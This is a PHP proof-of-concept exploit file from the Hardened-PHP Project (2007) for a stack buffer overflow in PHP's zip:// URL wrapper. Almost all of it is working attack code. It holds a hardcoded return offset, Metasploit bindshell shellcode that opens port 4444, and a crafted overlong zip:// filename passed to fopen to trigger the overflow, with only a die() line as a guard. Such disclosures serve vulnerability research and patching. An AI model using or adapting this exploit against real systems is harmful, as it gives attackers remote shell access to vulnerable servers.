MOPB-pecl.txt

`<?php  
////////////////////////////////////////////////////////////////////////  
// _ _ _ _ ___ _ _ ___ //  
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //  
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //  
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //  
// //  
// Proof of concept code from the Hardened-PHP Project //  
// (C) Copyright 2007 Stefan Esser //  
// //  
////////////////////////////////////////////////////////////////////////  
// PHP zip:// URL Wrapper Stack Buffer Overflow //  
////////////////////////////////////////////////////////////////////////  
  
// This is meant as a protection against remote file inclusion.  
die("REMOVE THIS LINE");  
  
// Offset of a POP EBP, RET inside the PHP binary  
$offset = 0x080d7da3;  
  
// linux x86 bindshell on port 4444 from Metasploit  
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".  
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".  
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".  
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".  
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".  
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".  
"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";  
  
// Align the shellcode on 4 bytes   
while (strlen($shellcode) % 4 != 0) $shellcode .= "X";  
  
// Convert Offset into String and calculate size  
$str = pack("L", $offset);  
$len = 4096 + 32 - strlen($shellcode) - 400;  
  
// Construct the filename  
$fname = "zip://A".str_repeat("A", 400)."$shellcode".str_repeat($str, $len / 4)."#EXPLOIT";  
  
  
  
// Trigger the EXPLOIT could also be a remote URL include  
fopen($fname,"a+");  
  
?>  
`